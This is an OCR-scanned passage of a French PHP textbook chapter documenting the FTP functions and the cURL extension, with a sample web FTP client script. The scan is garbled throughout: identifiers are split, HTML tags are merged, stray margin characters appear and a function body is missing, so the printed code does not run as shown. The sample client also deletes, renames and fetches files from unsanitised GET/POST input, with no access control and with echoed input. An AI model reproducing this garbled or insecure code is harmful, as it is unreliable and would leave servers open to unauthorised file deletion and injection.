phpinfoO FTP 



Les fonctions de base 

Connexion/deconnexion 

La premiere etape consiste, comme toujours, a se connecter au serveur. 



ftp_connect() 

Permet de se connecter a un serveur FTP. 

Syntaxe resource ftp_connect (string $serveur [, int $port [, int 

$delai Expiration]]) 

$serveur Adresse du site FTP. 

$port Port du serveur FTP si celui-ci est different du port usuel 21. 

$delai Expiration Temps en secondes pour toute commande avant abandon ; par defaut 
cette valeur vaut 90 secondes. 

retour Un identifiant de connexion ou FALSE en cas d'erreur. 

Une fois connecte, il faut s'identifier (sans quoi rien n'est possible). 
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ftp_login() 



Identification aupres du serveur. 

Syntaxe boolean ftp_login (resource $idConnexion, string $identifiant, 

string $motDePasse) 

$idConnexion Identifiant de connexion obtenu par ftp_connect ( ) . 

$i denti f i ant Identifiant (login) de l'utilisateur. 

$motDePasse Mot de passe utilisateur. 

retour TRUE si la connexion a pu se faire, FALSE sinon. 

La deconnexion s'effectuera, quant a elle, grace a la fonction f tp_close ( ) . 
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ftp_close() 

Permet de clore la connexion FTP. 

Syntaxe boolean ftp_close (resource $idConnexion) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

retour TRUE en cas de succes. 

f tp_ciose ( ) possede un alias appele f tp_quit ( ) . 

Deplacement dans l'arborescence 

Une fois que Ton est identifie, il est possible d'effectuer toutes les operations courantes en 
ligne, comme, par exemple, changer de repertoire : 



ftp_chdir() 

Permet de changer de repertoire. 

Syntaxe boolean ftp_chdir (resource $idConnexion, string $repertoire) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$repertoi re Repertoire de destination, 

retour TRUE en cas de succes, FALSE sinon. 

De son cote, f tp_cdup ( ) permet de monter d'un niveau dans la hierarchie des repertoires. 



ftp_cdup() 

Change de repertoire pour monter d'un niveau 



O — L 
o F> 

Syntaxe boolean ftp cdup (resource $idConnexion) go 2 r- 

$i dConnexi on Identifiant de connexion obtenu par f tp_connect ( ) . > w ^ 

retour TRUE en cas de succes, FALSE sinon. 2.^5" 



Liste du contenu d'un repertoire 

II est possible egalement de voir le contenu d'un repertoire : 



Tl CD 
—I V) 
-D 
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ftp_rawlist() 



Permet d'obtenir une liste detaillee des fichiers d'un repertoire (et eventuellement de ses 
sous-repertoires). Le resultat est identique a is -1. 

Syntaxe array ftp_rawl ist (resource $idConnexion, string $repertoire [, 

boolean $recursif] ) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$repertoi re Repertoire a lister. 

$recursif TRUE si le contenu des sous-repertoires doit egalement etre retourne, 

FALSE (valeur par defaut) sinon. (Option disponible depuis PHP 4.3.0) 

retour Tableau indexe des differents fichiers du repertoire avec leur detail 

(droits, taille, date). 



ftp_nlist() 

Permet d'obtenir une liste des fichiers d'un repertoire. Le resultat est identique a is. 

Syntaxe array ftp_nl ist (resource $idConnexion, string $repertoire) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$repertoi re Repertoire a lister, 

retour Tableau des differents fichiers du repertoire. 



Creation, suppression, renommage 



ftp_mkdir() 

Creation d'un nouveau repertoire. 

Syntaxe boolean ftpjnkdir (resource $idConnexion, string $repertoire) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$repertoire Nom du repertoire a creer avec, eventuellement, son chemin. 

retour TRUE si le repertoire a pu etre cree, FALSE sinon. 
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ftp_rmdir() 



Permet d'effacer un repertoire vide. 

Syntaxe boolean ftp_rmdir (resource $idConnexion, string $chemin) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$ c h em i n Repertoire a ef facer avec, eventuellement, son chemin. 

retour TRUE si le repertoire a ete efface, FALSE sinon. 



ftp_delete() 



Permet d'effacer un fichier. 

Syntaxe boolean ftp_delete(resource $idConnexion, string $chemin) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$ c h em i n Chemin du fichier a eff acer avec, eventuellement, son chemin. 

retour TRUE si le fichier a ete efface, FALSE sinon. 



ftp_rename() 



Permet de renommer un fichier ou un repertoire. 

Syntaxe boolean ftp_rename(resource $idConnexion, string $ancienNom, 

$nouveauNom) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$ancienNom Ancien nom du fichier ou repertoire . 

$anci enNom Nouveau nom du fichier ou repertoire. 

retour TRUE si le fichier ou repertoire a pu etre renomme, FALSE sinon. 

Transfert de fichiers 

Les fonctions de transfert de fichiers sont egalement disponibles. II est ainsi possible de copier 
un fichier du serveur FTP vers le serveur web (f tp_get ( ) ) ou le contraire (f tp_put ( ) ). 



- I v> 
P "O = 

a. 
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ftp_get() 



Permet de recuperer un fichier d'un serveur FTP. 
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Syntaxe boolean ftp_get (resource $idConnexion, string 

$cheminFichierLocal , string $cheminFichierDistant, int $mode 
[, int $offset]) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$chemi nFi chi erLocal Chemin avec le nom du fichier ou enregistrer le fichier. 

$cheminFi chi erDi stant Chemin avec le nom du fichier a recuperer. 

$mode FTP_ASCII (pour les fichiers textes) ou FTP_BINARY (pour les fichiers 

binaires). 

$of f set Position dans le fichier distant du premier octet a transferer. (Parametre 

ajoute depuis PHP 4.3.0) 

retour TRUE si le fichier a pu etre copie, FALSE sinon. 



ftp_put() 

Telecharge un fichier du serveur web vers le serveur FTP. 

Syntaxe boolean ftp_put (resource $idConnexion, string $fi chi erDi stant, 

string $fichierLocal , int $mode [, int $of f set] ) 

$idConnexion Identifiant de connexion obtenu par ftp_connect ( ) . 

$f i chi erDi stant Destination sur le serveur web. 

$fi chi erLocal Chemin sur le serveur web local. 

$mode FTP_ASCII (pour les fichiers textes) ou FTP_BINARY (pour les fichiers 

binaires). 

$off set Position dans le fichier local du premier octet a transferer. (Parametre 

ajoute depuis PHP 4.3.0) 

retour TRUE si le fichier a pu etre copie, FALSE sinon. 

Les fonctions f tp_get ( ) et f tp_put ( ) possedent des variantes permettant d'utiliser un 
pointeur vers un fichier. Cela permet de garder le fichier accessible en lecture ou ecriture une 
fois copie. 



ftp_fget() 



Permet de telecharger un fichier d'un serveur FTP dans un fichier (ou plus generalement un 
stream) ouvert. 

Syntaxe boolean ftp_fget (resource $idConnexion, resource $idFichier, 

string $fi chi erDi stant, int $mode [, int $offset]) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$i dFi chi er Identifiant (obtenu par f open ( ) ) du fichier a remplir. 
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$f i chi erDi stant Nom du fichier distant a recuperer. 

$mode FTP_ASCII (pour les fichiers textes) ou FTP_BINARY (pour les fichiers 

binaires). 

$of f set Position dans le fichier distant du premier octet a transferer. (Parametre 

ajoute depuis PHP 4.3.0) 

retour TRUE si le fichier a pu etre recupere, FALSE sinon. 



ftpjputO 



Permet de deposer le contenu d'un fichier ouvert (ou plus generalement un stream) sur un 
serveur FTP. 

Syntaxe boolean ftp_f put (resource $idConnexion, string 

$fichierDistant, resource $idFichier, int $mode [, int 
$offset]) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$f i chi erDi stant Nom qu'aura le fichier sur le serveur FTP. 

$i dFi chi er Identifiant (obtenu par f open ( ) ) du fichier a copier. 

$mode FTP_ASCII (pour les fichiers textes) ou FTP_BINARY (pour les fichiers 

binaires). 

$off set Position dans le fichier local du premier octet a transferer. (Parametre 

ajoute depuis PHP 4.3.0) 

retour TRUE si le fichier a pu etre mis sur le serveur FTP, FALSE sinon. 



Exemple <T application 



Les fonctions vues jusque-la sont les fonctions les plus couramment utilisees, et nous 
permettent de realiser un script de client FTP. 

Dans le script presente, l'utilisateur pourra naviguer sur le compte FTP, ajouter des fichiers, en 
supprimer, en renommer, ajouter et supprimer des repertoires, uploader ou telecharger des 
fichiers. 
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■3 Client FTP - Microsoft Internet E 
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Fichier Edition Affichage Favoris Outils ? 


(^f Precedente - [xl f^l ■■ Rechercher Favoris ^tf* Media ^^ & - 
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Figure 16.2 : 

Client FTP en PHP 
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Voici le script en question : 

Listing 16.2 : ftp.php 

<html> 
<head> 

<title>Client FTP</title> 

<link rel="stylesheet" type="text/css" href="style.css" /> 
</head> 
<body> 

<centerxfont color="blue"xhl>Client FTP 12.9</hlx/fontx/center> 

<font color="red"> 
<?php 

// On augmente le temps de vie du script a 100 secondes 

set_time_l imit(100) ; 

// Parametres de connexion 

$serveur = "ftp.monsite.com"; 

$utilisateur = "util isateur"; 

$motdepasse = "motdepasse"; 

// Connexion au serveur FTP 

$connexion = ftp_connect($serveur) 
or die("Serveur FTP inexistant") ; 

// Identifi action sur le serveur FTP 

ftp_login($connexion, $utilisateur, $motdepasse) 

or die("Utilisateur inconnu ou mauvais mot de passe"); 

$repertoire = $_GET["repertoire"] ! = "" ? $_GET["repertoire"] : "/"; 
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// Verifie si "effacer" est passe en parametre 
if ($_GET["effacer"]!="") { 

effacer($_GET["effacer"] , $repertoire) ; 

} 

// Verifie si "effacerrep" est passe en parametre 

if ($_GET["effacerrep"]!="") { 

effacerRep($_GET["effacerrep"] , $repertoire) ; 
} 

// Verifie si "telecharger" est passe en parametre 
if ($_GET["telecharger"]! = "") { 

telecharger($_GET["telecharger"] , $repertoire) ; 

} 

// Verifie si "nouveaurep" est passe en parametre 

if ($_POST["nouveaurep"]!="") { 

nouveauRep($_POST["nouveaurep"] , $repertoire) ; 

} 

// Verifie si "ajouterfichier" est passe en parametre 

if ($_POST["ajouterfichier"]! = "") { 

ajouterFichier($_POST["ajouterfichier"] , $repertoire) ; 
} 

// Verifie si "nouveaunom" est passe en parametre 
if ($_POST["nouveaunom"]!="") { 

nouveauNom($_POST["nouveaunom"] , $_POST["fichier"] , $repertoire) ; 

} 
?> 

</font> 

<form method="post"> 

Nouveau Repertoire:<input type="text" name="nouveaurep" /xbr /> 
<form> 

<form method="post"> 
Ajouter fichier:<input type="text" name="ajouterfichier" /> 
<font size="l">Le chemin doit etre absolou ou relatif a 

l'endroit ou est place ce script. </fontxbr /> 
<form> 
<?php 

// Changement de repertoire 
ftp_chdir($connexion, $repertoire) ; 
// Affichage du contenu du repertoire 
1 isterRepertoire($repertoire) ; 
ftp close($connexion) ; 

?> " 
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<?php 

function listerRepertoire($repertoire) { ju *" 

global $connexion; 

echo "<h2xfont color=\"green\">" .$repertoire."</fontx/h2>\n"; 

// Affichage du lien vers le repertoire superieur 

if ($repertoire!="/") { 

echo "<a href=\"ftpl.php?repertoire=" . 
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substr(substr($repertoire, 0, -1), 0, 

l+strrpos(substr($repertoire, 0, -1), "/")). "\"> 
<h2xfont color=\"green\">" . 
substr(substr($repertoire, 0, -1), 0, 

l+strrpos(substr($repertoire, 0, -1), "/")). 
"</fontx/h2x/a>\n" ; 

} 

// Recuperation de la liste des fichiers 
$1 i ste = ftp_rawl ist($connexion, $ repertoire) ; 
echo "<table>"; 
foreach($liste as $fichier) { 
echo "<tr>"; 

if (substr($fichier,0,l)=="d") { 
echo "<td>"; 

echo "<a href=\"ftpl.php?repertoire=$repertoire". 
substr($fichier,56)."/\">". 
"<b>" .substr($fichier,56) . "/</b></axbr />\n" ; 
echo "</tdxtd>"; 
echo "<a href=\"ftpl.php?repertoire=$repertoire&effacerrep=". 

substr($fi chier, 56) . "\">Ef facer ce repertoire</axbr />\n"; 
} else { 

echo "<td>"; 

echo "<a href=\"ftpl.php?repertoire=$repertoire&telecharger=". 

substr($fi chier, 56) ."\"><b>".substr($fichier,56) ."</b>\n"; 
echo "</tdxtd>"; 
echo "<a href=\"ftpl.php?repertoire=$repertoire&effacer=". 

substr($fi chier, 56) ."\">Effacer</axbr />\n"; 
echo "</td>"; 

echo "</trxtrxtd> </tdxtd>" ; 
echo "<form method=\"post\">". 

"<input type=\"hidden\" name=\"fichier\" 

val ue=\ " $repertoi re\ "". subs tr($fi chier, 56) . "\"/> 
<input type=\"text\" name=\"nouveaunom\" /> 
<input type=\"submit\" value=\"Renommer\"/x/form>"; 
echo "</td>"; 

} 
echo "</tr>"; 

} 

echo "</table>"; 

} 

// Efface un fi chier 

function effacer($fichier, $repertoire) { 
global $connexion; 
if (@ftp_delete($connexion, $repertoire.$fichier)) 

echo "Le fichier $fichier a ete supprime"; 
else 

echo "Impossible d'effacer le fichier $fichier"; 
} 

// Efface un repertoire vide 
function effacerRep($fichier, $repertoire) { 
global $connexion; 
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if (@ftp_rmdir($connexion, $repertoire.$fichier)) 
echo "Le repertoire $fichier a ete supprime"; 
else 

echo "Impossible d'effacer le repertoire $fichier assurez vous " 
."qu'il est vide"; 
} 

// Telecharge un fichier depuis le site FTP 
function telecharger($fichier, $repertoire) { 
global $connexion; 
if (@ftp_get($connexion, $fichier, $repertoire.$fichier, FTP_BINARY)) 

echo "Le fichier $fichier devrait etre telecharge dans le repertoire". 
" ou se trouve ce script"; 
else 

echo "Impossible d'ouvrir le fichier $fichier"; 
} 

// Cree un repertoire 

function nouveauRep($fichier, $repertoire) { 
global $connexion; 
if (@ftp_mkdir($connexion, $repertoire.$fichier)) 

echo "Le nouveau repertoire $fichier a ete cree"; 
else 

echo "Impossible de creer le repertoire $fichier"; 
} 

// Renomme un fichier 

function nouveauNom($nouveaunom, $fichier, $repertoire) { 
global $connexion; 
if (@ftp_rename($connexion, $fichier, $repertoire.$nouveaunom)) 

echo "Le fichier $fichier a ete renomme"; 
else 

echo "Impossible de renommer $fichier"; 
} 

// Ajoute un fichier 

function ajouterFichier($fichier, $repertoire) { 
global $connexion; 
$nomFichier = (strrchr($fichier, "/")) ? 

$repertoire.substr(strrchr($fichier, "/"), 1) : 
$repertoire.$fichier; 



else 



} 
?> 
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Transfert de fichiers en mode asynchrone 

Les fonctions ftp_put(), ftp_get(), ftp_fput() et f tp_f get ( ) sont des fonctions 
synchrones. C'est a dire que lorsque le script PHP traite ces fonctions il ne fait plus rien d'autre 
en attendant le transfert complet des donnees. Depuis, PHP 4.3.0, ces fonctions ont leur 
equivalent en mode asynchrone. II s'agit des fonctions ftp_nb_put (), f tp_nb_get ( ) , 
f tp_nb_fput ( ) , f tp_nb_f get ( ) . Leur syntaxe est tout a fait identique si ce n'est qu'elles ne 
retournent pas un booleen mais un entier dont les valeurs possibles sont les memes que celles 
retournees par la fonction decrite ci-apres. Une fois lancees, ces fonctions transferent bien les 
fichiers mais le script, lui, continue pour traiter les instructions suivantes. Pour savoir si la 
precedente operation est terminee vous devrez faire appel a la fonction f tp_nb_continue ( ) . 
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ftp_nb_continue 



Teste si la derniere operation FTP asynchrone lancee est terminee ou non. 

Syntaxe: int ftp_nb_continue(resource $idConnexion) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

retour FTP_MOREDATA si le transfert est en cours, FTP_FINISHED s'il est 

termine ou FTP_FAILED s'il a echoue. 

Autres fonctions 

ftp_exec() 

Permet d'executer une commande sur le serveur FTP si celui-ci l'autorise. 

Syntaxe boolean ftp_exec (resource $idConnexion, string $commande) 

$i dConnexi on Identifiant de connexion obtenu par f tp_connect ( ) . 

$commande Commande a executer sur le serveur. 

retour TRUE en cas de succes, FALSE sinon. 



ftp_site() 

Envoie une commande a un serveur FTP de type SITE xxxx. 

Syntaxe boolean ftp_site(resource $IdConnexion, string $commande) 

$i dConnexi on Identifiant de connexion obtenu par f tp_connect ( ) . 

$commande Commande a executer. 

retour TRUE en cas de succes, FALSE sinon. 
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Parametres de connexion 

ftp_get_option() 

Retourne certains parametres de la connexion FTP courante. 

Syntaxe mixed ftp_get_opti on (resource $idConnexion, int $option) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

option Option dont on veut connaitre la valeur. Seul le temps avant abandon 

d'une commande est disponible ; la constante est FTP_TlMEOUT_SEC, la 
fonction retourne alors le temps en secondes. 

retour Depend de 1'option. 



ftp_set_option() 

Definit certains parametres de la connexion FTP courante. 

Syntaxe boolean ftp_set_opti on (resource $idConnexion, int $option, 

mixed $valeur) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

opti on Option dont on veut definir la valeur. Seul le temps avant abandon d'une 

commande est disponible ; la constante est FTP_TIME0UT_SEC. 

$val eur Valeur du parametre a definir. Pour FTP_TlMEOUT_SEC, la valeur est a 

donner en secondes. 

retour TRUE si le parametre a pu etre modifie. 



ftp_pasv() 



o 



Permet de passer en mode passif. Cela peut servir pour passer outre un firewall un peu o P 5 

exigeant. go ^ 

Syntaxe boolean ftp_pasv (resource $idConnection, boolean $pasv) 

$i dConnexi on Identifiant de connexion obtenu par f tp_connect ( ) . 

a 
$pasv TRUE pour activerle mode passif, FALSE sinon. Zj g? 

JO 

retour TRUE si le changement de mode a pu s'effectuer, FALSE sinon. 



n ti 3 



1287 











Q. 




c/j 


1— 




CD 


Ll_ 




■o 






c 


o_" 


o 


_o 


1= 


"5 


To 


3= 


n 


CD 




Q. 


C3) 


GO 
02 


«s 


CO 




o 


_l 


o 
o 


GO 


CO 


o 






o 
a. 





Chapitre 1 6 La gestion des protocoles HTTP, FTP, SOAP, etc. 
Information sur les fichiers 

ftp_mdtm() 

Retourne la date de derniere modification d'un fichier. 

Syntaxe : int ftp_mdtm (resource $idConnexion, string $fichierDistant) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$fi chi erDi stant Fichier dont on veut connaitre la date de derniere modification. 

retour La date de derniere modification au format timestamp d'UNIX. 



ftp_size() 

Retourne la taille d'un fichier. 

Syntaxe int ftp_size (resource $idConnexion, string $fi chi erDi stant) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$ f i chi erDi stant Fichier dont on veut connaitre la taille. 

retour Taille du fichier en octets, -1 si le fichier n'existe pas. 

Informations sur le serveur 

ftp_systype() 

Retourne le type du systeme d'exploitation du serveur FTP (UNIX par exemple). 

Syntaxe string ftp_systype (resource $idConnexion) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

retour Le nom du systeme d'exploitation (attention, cela n'est absolument pas 

precis. Un serveur sous Linux renverra UNIX, mais cela permet de 
differencier les systemes de fichiers de type UNIX et Windows.) 



16.5. cURL (client URL Library) 



La bibliotheque curl a ete developpee afin de permettre le developpement d'applications 
devant effectuer des operations sur le reseau. Elle est disponible sur de nombreux systemes : 
Linux, Windows, HPUnix, Solaris, Amiga, OS/2, MacOS X et d'autres encore. 

curl supporte differents protocoles parmi lesquels : 

FTP et FTPS ; 

HTTP et HTTPS ; 
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GOPHER ; 
TELNET ; 

LDAP(v2) ; 

Le transfert de fichiers. 

Vous pouvez retrouver tous les protocoles supportes par curl sur cette page : 
http://curl.haxx.se/docs/features.html. 

Elle gere les HTTP POST, HTTP PUT, l'upload de fichiers par FTP ou HTTP et passe les 
proxys. De plus, curl sait manipuler les cookies et effectuer l'authentification HTTP. 



Installation 



Installation sous Linux 

Si vous utilisez Linux, il est probable que vous ayez les librairies curl installees sur votre 
machine. Si ce n'est pas le cas, vous pouvez toujours les telecharger sur le site web a l'adresse 
http://curl.haxx.se/download.html (ou utiliser la version disponible sur le CD-ROM). 

Si vous souhaitez utiliser SSL, vous devrez egalement l'installer (ce qui est generalement deja 
fait par defaut). OpenSSL est disponible a l'adresse http://www.openssl.org/. Nous supposerons 
ici qu'il a ete installe sous /usr/local/ssl. 

Si vous avez recupere les sources de curl, commencez par decompresser l'archive en tapant : 

# tar -zxvf curl -7. 10. 7. tar. gz 

# cd curl 7.10.7 

Ensuite, compilez curl de la facon suivante : 

# ./configure --disable-ipv6 --with-ssl=/usr/local/ssl 

# make 

# make install 



Recompilez PHP en ajoutant l'option — with-curi=/usr/iocai/iib et puis relancez le 
serveur web. 



Verification 

Appelez un simple script contenant <?php phpinf o ( ) ,- ?>, vous devriez avoir un resultat 
similaire a : 



curl 



CURL support 



CURL Information 



liijcurl 7 9 ::i (OpsriSSL 9 6b) (IpvG enabled; 



Figure 16.3 : 

Verifions que le module 
est active 
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Nous pouvons a present nous concentrer sur la manipulation de ce module avec le langage PHP. 
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Chapitre 1 6 La gestion des protocoles HTTP, FTP, SOAP, etc. 



Utilisation 

Initialiser une session cURL 

Afin d'exploiter les differentes fonctions cURL, vous devez, dans un premier temps, creer une 
session avec l'instruction curl_init ( ) . 



curl_init() 

Initialise une session cURL. 

Syntaxe resource curl_init([string $adresse]) 

$adresse Adresse utilisee par les differentes fonctions cURL. Ce parametre est 

optionnel, et peut etre fixe ou modifie plus tard a l'aide de la fonction 

curl_setopt ( ) . 

retour Ressource vers la session cURL initialisee. 



Fermer une session cURL 

La fermeture de la session est realisee par l'appel a l'instruction curi_close ( ) . 

curl_close() 

Ferme une session cURL. 

Syntaxe void curl_close(resource $curlld) 

$curl Id Pointeur sur la ressource tel que retourne par cur l_in.it ( ) . 

Preparer une requete 

Avant d'effectuer votre requete, quelle qu'elle soit, vous devez specifier certaines options a 
PHP. Pour cela, vous utiliserez la fonction curi_setopt ( ) . 

curl_setopt() 

Permet de specifier les options necessaires a votre transfert cURL. 

Syntaxe boolean curl_setopt (resource $curlld, string $option, mixed 

$valeur) 

$curl Id Pointeur sur la ressource tel que retourne par cur l_init ( ) . 
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$option 

$valeur 
retour 



Option a modifier. Voyez le tableau ci-apres pour connaitre les differents 
parametres configurables. 

Nouvelle valeur a donner a l'option. 

TRUE si la modification de l'option a ete effectuee avec succes, FALSE 
dans le cas contraire. 



Tableau 16.1 : Les differentes options configurables avec ('instruction curl_setopt() 



Option 



Description 



CURLOPT_COOKIEJAR 



Indique a PHP/cURL le fichier ou doivent etre stockes les 
differents cookies. 



CURLOPT COOKIEFILE 



CURLOPT_CUSTOMREQUEST 



Indique le fichier contenant les differents cookies et leurs 
valeurs. Le fichier peut etre dans meme format que celui d'un 
en-tete HTTP : 

Set-Cookie : cookiel=premier+cookie 

Set-Cookie: cookie2=deuxieme+cookie 

Set-Cookie : cookie3=troisieme+cookie 

Set-Cookie : cookie4=quatrieme+cookie 

Permet d'indiquer une methode particuliere a envoyer au 
serveur : PUT, DELETE, etc. 



CURLOPT FAILONERROR 



Indique a PHP/cURL de retoumer les erreurs HTTP 300 et plus. 
Pour activer cette option, vous devez indiquer true (ou 
false sinon). Par defaut, cette option est desactivee. 



CURLOPT_FILE 



CURLOPT_FOLLOWLOCATION 



Specifie le pointeur du fichier devant contenir les donnees de 
votre transfert. Ce fichier doit avoir ete ouvert en ecriture par 
I'instruction fopen(). 

Indique a PHP/cURL de suivre toutes les redirections HTTP 
envoyees par le serveur distant. Pour activer cette option vous 
devez indiquer true (ou false sinon). Par defaut, l'option 
est activee. 



CURLOPT FTPAPPEND 



Indique a PHP/cURL de ne pas ecraser les fichiers distants. A 
la place, le contenu du fichier est ajoute a la suite de celui 
existant. Pour activer cette option vous devez indiquer true 
(ou false sinon). 



CURLOPT FTPLISTONLY 



CURLOPT FTPPORT 



CURLOPT_HEADER 



Indique a PHP/cURL de n'effectuer qu'un listing des noms des 
fichiers sur un serveur FTP. Pour activer cette option, vous 
devez indiquer true (ou false sinon). Par defaut PHP 
retourne la liste complete des fichiers. 

Specifie au serveur distant I'adresse utilisee par PHP/cURL 
pour la connexion par FTP. Cette adresse est indiquee lors 
d'une connexion par FTP par la commande "PORT" envoyee au 
serveur. 

Indique a PHP/cURL de retourner I'en-tete dans la reponse. 
Pour activer cette option, vous devez indiquer true (ou 
false sinon). Par defaut, PHP renvoie uniquement le corps 
du document. 
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Option 



Description 



CURLOPT INFILE 



Specifie le pointeur de fichier contenant les donnees que vous 
expediez lors d'un transfer! Ce fichier doit avoir ete ouvert en 
lecture par I'instruction f open ( ) . 



CURLOPT INFILESIZE 



CURLOPT LOW SPEED LIMIT 



Cette option serf a fixer la taille maximale des donnees a 
transmettre a un serveur distant. 

Indique le nombre d'octets par secondes qui doivent circuler de 
fagon a valider I'action de cURL. Si la Vitesse indiquee n'est 
pas atteinte, PHP annulera I'execution de Taction. Cette Vitesse 
est calculee pendant une duree fixee par 

CURLOPT LOW SPEED TIME. 



CURLOPT LOW SPEED TIME 



Indique le temps en secondes qui est considere pour verifier le 
taux de transfert fixe par I'option 

CURLOPT LOW SPEED LIMIT. 



CURLOPT_MUTE 



CURLOPT_NETRC 



Indique a PHP/cURL de ne pas retourner les messages 
retournes par les differentes actions de cURL. Pour activer 
cette option, vous devez indiquer true (ou false sinon). 

Indique a PHP/cURL d'utiliser le compte utilisateur et le mot de 
passe de I'utilisateur courant (tel que defini dans le fichier Jnetrc 
sous Linux) pour effectuer la connexion a distance. Pour activer 
cette option, vous devez indiquer true (ou false sinon). 



CURLOPT_NOBODY 



CURLOPT_NOPROGRESS 



CURLOPT_POST 



CURLOPT_POSTFIELDS 
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Indique a PHP/cURL de ne pas retourner le corps du document. 
Pour activer cette option, vous devez indiquer true (ou 
false sinon). Par defaut, I'option est desactivee. 

Indique a PHP/cURL de retourner I'etat des transferts avec le 
serveur distant. Pour activer cette option, vous devez indiquer 
true (ou false sinon). Par defaut, I'option est desactivee. 

Indique a PHP/cURL de preparer une action de type HTTP 
POST (identique a I'envoie d'un formulaire HTML par methode 
POST). Pour activer cette option, vous devez indiquer true 
(ou false sinon). 

Indique a PHP/cURL les differentes donnees a passer lors d'un 
transfert HTTP par methode POST. La chafne doit etre passee 
dans ce format : 

varl=valeurl&var2=valeur2&var (n) =valeur (n) 



CURLOPT PROXYUSERPWD 



CURLOPT_PUT 



CURLOPT_RANGE 



Norn de I'utilisateur et mot de passe a utiliser lors de la 
connexion a un proxy HTTP. La chaine indiquee est de la forme 

nomUtilisateur :motPasse. 

Indique a PHP/cURL de preparer une action HTTP de type PUT. 
Pour activer cette option, vous devez indiquer true (ou 
false sinon). 

Permet de specifier la plage de valeurs desiree. Vous devez la 
specifier de la fagon suivante : vali-val2. Vous pouvez 
preciser plusieurs plages differentes en les separant par une 
virgule de la fagon suivante : vali-val2, vai3-vai4. 
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Option 



Description 



CURLOPT REFERER 



CURLO PT_RE SUME_FROM 



Permet de specifier I'en-tete REFERER envoyee lors d'une 
requete ail serveur distant. 

Indique a PHP/cURL le debut du transfert. La valeur est fixee en 
octets. 



CURLOPT RETURNTRANSFER 



CURLOPT_SSLCERT 



Option permettant de recuperer le resultat dans une variable a 
I'execution de la session : $resuitat = 
curi_exec ( $curiid) . Pour activer cette option, vous 
devez indiquer true (ou false sinon). Par defaut, la 
fonction curi_exec ( ) retourne un booleen. 

Indique le fichier contenant le certificat SSL a passer au 
serveur. Ce certificat doit etre au format PEM. 



CURLOPT SSLCERTPASSWD 



Indique le mot de passe utilise avec le certificat specifie par 

I'option CURLOPT_SSLCERT. 



CURLOPT SSLVERSION 



Indique la version de SSL utilisee pour les operations avec 
cURL. La valeur peut etre de 2 ou 3. Par defaut, PHP la 
determinera automatiquement. 



CURLOPT STDERR 



Specifie le pointeur du fichier devant contenir les erreurs 
pouvant survenir lors d'un transfert. Ce fichier doit avoir ete 
ouvert en ecriture par I'instruction f open ( ) . 



CURLOPT_TIMECONDITION 



CURLOPT_TIMEOUT 



Indique a PHP/cURL comment utiliser I'option 
curlopt_timevalue. Les valeurs possibles sont 

TIMECOND_IFMODSINCE OU 

timecond_isunmodsince. Par defaut, I'option est a 

TIMECOND_I FMODS INCE . 

Indique, en secondes, le temps maximum accorde a I'execution 
d'une action par cURL. 



CURLO PT_T IMEVALUE 
CURLOPT_UPLOAD 

CURLO PT_URL 

CURLO PT_US ERAGENT 
CURLO PT_US ERPWD 

CURLOPT_VERBOSE 



Temps en secondes depuis le 1 er Janvier 1970. 

Indique a PHP/cURL de preparer un transfert de fichier. Pour 
activer cette option, vous devez indiquer true (ou false 
sinon). 

URL indiquant a PHP/cURL la page et le serveur distant. Cette 
URL designe la page qui doit etre recuperet. Cette option peut 
etre fixee des I'appel a I'instruction curi_init ( ) . 

Permet de specifier I'en-tete USER-AGENT envoye lors d'une 
requete au serveur distant. 

Norn de I'utilisateur et mot de passe de I'utilisateur qui doivent 
etre utilises lors de la connexion distante. La chafne indiquee 

est de la forme nomUtilisateur :motPasse. 

Indique a PHP/cURL d'affichertous les evenements. Pour 
activer cette option, vous devez indiquer true (ou false 
sinon). 
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Option Description 



curlopt_writeheader Specifie le pointeur du fichier devant contenir I'en-tete de sortie 

de votre transfert. Ce fichier doit avoir ete ouvert en ecriture par 
I'instruction fopenO . 



De nombrewc parametres ont un lien etroit avec les en-tetes HTTP ; n'hesitez pas a 
consulter I 'annexe "Les en-tetes" pour plus d' informations. 




RENVOI 



Recuperer les informations d'une option 

II est possible de recuperer les valeurs que contient une option en utilisant la fonction 

curl_getinf o ( ) . 



curl_getinfo() 

Retourne la valeur d'une option. 

Syntaxe string curl_getinfo(resource $curlld, int $option) 

$curl Id Pointeur sur la ressource tel que retourne par curl_init ( ) . 

$ o p t i o n Option a recuperer. 

retour Chaine de caracteres indiquant la valeur de l'option qui y est associee. 

Executer une session 

Afin d'executer la session, il faut appeler la fonction curl_exec ( ) . 



curl_exec() 

Execute une session cURL. 

Syntaxe mixed curl_exec (resource $curlld) 

$curl Id Pointeur sur la ressource tel que retourne par cur l_in.it ( ) . 

retour Par defaut, l'execution de la fonction retourne TRUE si 1'execution de la 

session a ete realisee avec succes, FALSE dans le cas contraire. Suivant 
l'activation de certaines options, I'instruction peut retourner un entier ou 
une chaine de caracteres. Ainsi, l'option CURLOPT_RETURNTRANSFER 
indique a PHP de retourner le resultat plutot que de l'afficher sur la sortie 
standard. 
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Gestion des erreurs 

La gestion des erreurs est realisee par l'appel a deux instructions : curl_errno ( ) et 

curl_error ( ) . 

La fonction curi_errno ( ) retourne le numero du code de l'erreur. 



curl_errno() 



Permet de recuperer le code de la derniere erreur rencontree pour une session cURL. 
Syntaxe int curl_errno(resource $curlld) 

$curl Id Pointeur sur la ressource tel que retourne par cur l_init ( ) . 

retour Code de l'erreur cURL. 

La fonction curl_error ( ) permet de recuperer l'erreur dans une chaine de caracteres. 



curl_error() 



Retourne le dernier message d'erreur rencontre dans une session cURL. 
